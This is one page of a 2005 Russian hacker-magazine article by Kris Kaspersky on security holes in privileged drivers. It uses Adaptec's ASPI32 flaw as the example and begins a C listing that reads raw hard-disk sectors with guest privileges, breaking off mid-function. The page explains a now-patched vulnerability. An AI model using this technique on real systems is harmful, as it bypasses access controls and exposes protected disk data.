Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #58, СЕНТЯБРЬ 2005 г.

Инструктаж перед боем

Крис Касперски

Спецвыпуск: Хакер, номер #058, стр. 058-018-5


Проектирование драйверов и привилегированных служб требует большого внимания и тщательной подготовки. Любой такой драйвер - это потенциальная дыра в системе безопасности. Перед выполнением каждого "серьезного" действия требуется провести целый ряд проверок на предмет выяснения, имеет ли пользователь право делать это. В частности, программы для прожига лазерных дисков устанавливают драйверы, позволяющие отправить SCSI/ATAPI-команды с прикладного уровня. Проверка типа устройства обычно отсутствует или реализована некорректно, что позволяет управлять жестким диском даже с гостевыми привилегиями! Этим, в частности, славится популярный ASPI32-драйвер от компании Adaptec (впрочем, в последних версиях эта ошибка была исправлена).

Во врезке приведена программа, позволяющая читать секторы с жесткого диска через ASPI32.

/*----------------------------------------------------------------------------

*

* ЧТЕНИЕ СЕКТОРА С ЖЕСТКОГО ДИСКА

* ===============================

*

* build 0x001 @ 29.05.2003

----------------------------------------------------------------------------*/

#include <windows.h>

#include <stdio.h>

#include "scsidefs.h"

#include "wnaspi32.h"

void ASPI32Post (LPVOID);

#define F_NAME "sector.dat"

/* ASPI SRB packet length */

#define ASPI_SRB_LEN 0x100

#define READ_CMD 0xA8

#define PACKET_LEN 512

#define MY_CMD READ_CMD

HANDLE hEvent;

//-[DWORD READ_SECTOR]---------------------------------------------

// ARG:

// adapter_id - номер шины (0 - primary, 1 - secondary)

// read_id - номер устройства на шине (0 - master, 1 - slaeyer)

// buf - буфер, куда читать

// buf_len - размер буфера в байтах

// StartSector - с какого сектора читать, считая от нуля

// N_SECTOR - сколько секторов читать \

//

// RET:

// - ничего не возвращает

//

// NOTE:

// - функция возвращает управление до завершения выполнения запроса,

// поэтому на момент выхода из нее содержимое буфера с данными еще

// пусто и реально он заполняется только при вызове функции

// ASPI32Post (можешь модифицировать ее по своему усмотрению)

// для сигнализации о завершении операции рекомендуется использовать

// события (Event)

//

// - функция работает и под 9x/ME/NT/W2K/XP и _не_ требует для себя прав

// администратора. Однако ASPI-драйвер должен быть установлен

//-----------------------------------------------------------------------------

READ_SECTOR(int adapter_id,int read_id,char *buf,int buf_len,

int StartSector,int N_SECTOR)

{

PSRB_ExecSCSICmd SRB;

DWORD ASPI32Status;

// выделяем память для SRB-запроса

SRB = malloc(ASPI_SRB_LEN); memset(SRB, 0, ASPI_SRB_LEN);

Назад на стр. 058-018-4  Содержание  Вперед на стр. 058-018-6